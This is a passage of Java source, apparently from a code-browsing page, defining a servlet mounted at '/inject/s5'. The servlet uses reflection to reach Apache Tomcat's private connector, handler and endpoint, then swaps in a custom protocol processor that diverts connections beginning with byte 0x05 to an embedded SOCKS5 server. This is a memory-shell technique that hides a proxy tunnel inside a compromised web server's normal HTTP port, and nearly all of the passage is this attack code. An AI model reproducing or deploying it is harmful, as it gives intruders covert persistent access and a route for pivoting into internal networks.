| 20 | import java.util.Collections; |
| 21 | |
| 22 | @WebServlet(urlPatterns = "/inject/s5") |
| 23 | public class socks5 extends HttpServlet { |
| 24 | @Override |
| 25 | protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { |
| 26 | try { |
| 27 | Field reqF = req.getClass().getDeclaredField("request"); |
| 28 | reqF.setAccessible(true); |
| 29 | Request request = (Request) reqF.get(req); |
| 30 | Connector connector = request.getConnector(); |
| 31 | Http11NioProtocol protocolHandler = (Http11NioProtocol) connector.getProtocolHandler(); |
| 32 | |
| 33 | // 获取handler |
| 34 | Field handler = protocolHandler.getClass().getSuperclass().getSuperclass().getSuperclass() |
| 35 | .getDeclaredField("handler"); |
| 36 | handler.setAccessible(true); |
| 37 | Object hd = handler.get(protocolHandler); |
| 38 | |
| 39 | // 获取proto |
| 40 | Field proto = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler") |
| 41 | .getDeclaredField("proto"); |
| 42 | proto.setAccessible(true); |
| 43 | Http11NioProtocol protocol = (Http11NioProtocol) proto.get(hd); |
| 44 | |
| 45 | // 获取adapter和endpoint |
| 46 | Adapter adapter = protocol.getAdapter(); |
| 47 | Field endpoint = protocol.getClass().getSuperclass().getSuperclass().getSuperclass() |
| 48 | .getDeclaredField("endpoint"); |
| 49 | endpoint.setAccessible(true); |
| 50 | AbstractEndpoint endpoint1 = (AbstractEndpoint) endpoint.get(protocol); |
| 51 | |
| 52 | // 创建新的协议处理器 |
| 53 | Http11NioProtocol protocol1 = new Http11NioProtocol() { |
| 54 | @Override |
| 55 | protected Processor createProcessor() { |
| 56 | Http11Processor http11Processor = new Http11Processor(protocol.getMaxHttpHeaderSize(), |
| 57 | protocol.getAllowHostHeaderMismatch(), |
| 58 | protocol.getRejectIllegalHeaderName(), endpoint1, |
| 59 | protocol.getMaxTrailerSize(), |
| 60 | Collections.singleton(protocol.getAllowedTrailerHeaders()), |
| 61 | protocol.getMaxExtensionSize(), |
| 62 | protocol.getMaxSwallowSize(), |
| 63 | null, |
| 64 | protocol.getSendReasonPhrase(), |
| 65 | protocol.getRelaxedPathChars(), |
| 66 | protocol.getRelaxedQueryChars()) { |
| 67 | @Override |
| 68 | public AbstractEndpoint.Handler.SocketState process(SocketWrapperBase<?> socketWrapper, |
| 69 | SocketEvent status) throws IOException { |
| 70 | if (status == SocketEvent.OPEN_READ) { |
| 71 | NioChannel socket1 = (NioChannel) socketWrapper.getSocket(); |
| 72 | SocketChannel ioChannel = socket1.getIOChannel(); |
| 73 | ByteBuffer readBuffer = socketWrapper.getSocketBufferHandler().getReadBuffer(); |
| 74 | ByteBuffer buffer = ByteBuffer.allocate(1); |
| 75 | int read = socketWrapper.read(false, buffer); |
| 76 | if (read == 1 && buffer.get(0) == 0x05) { |
| 77 | readBuffer.position(0); |
| 78 | Socks5Server socks5Server = new Socks5Server(); |
| 79 | socks5Server.handleClient(ioChannel, socketWrapper); |
nothing calls this directly
no outgoing calls
no test coverage detected